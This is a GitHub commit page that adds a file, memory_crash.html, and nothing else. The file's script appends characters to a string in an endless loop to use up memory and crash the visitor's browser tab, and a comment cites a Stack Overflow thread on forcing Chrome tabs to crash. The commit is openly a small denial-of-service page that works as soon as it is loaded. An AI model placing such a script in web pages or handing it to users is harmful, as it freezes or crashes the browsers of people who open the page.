Creates a super big string and overwhelms the RAM.

This commit is contained in:
Minhas Kamal
2016-12-28 01:07:12 +06:00
committed by GitHub
parent 3bdcff4e6a
commit 991cf6ff2c

9
memory_crash.html Normal file
View File

@@ -0,0 +1,9 @@
<!-- Intro- Creates a super big string and overwhelms the RAM. -->
<!-- Details- http://stackoverflow.com/questions/10965987/how-do-you-force-chrome-pages-tabs-to-crash-using-javascript -->
<script>
var txt = "a";
while(1){
txt += "a";
}
</script>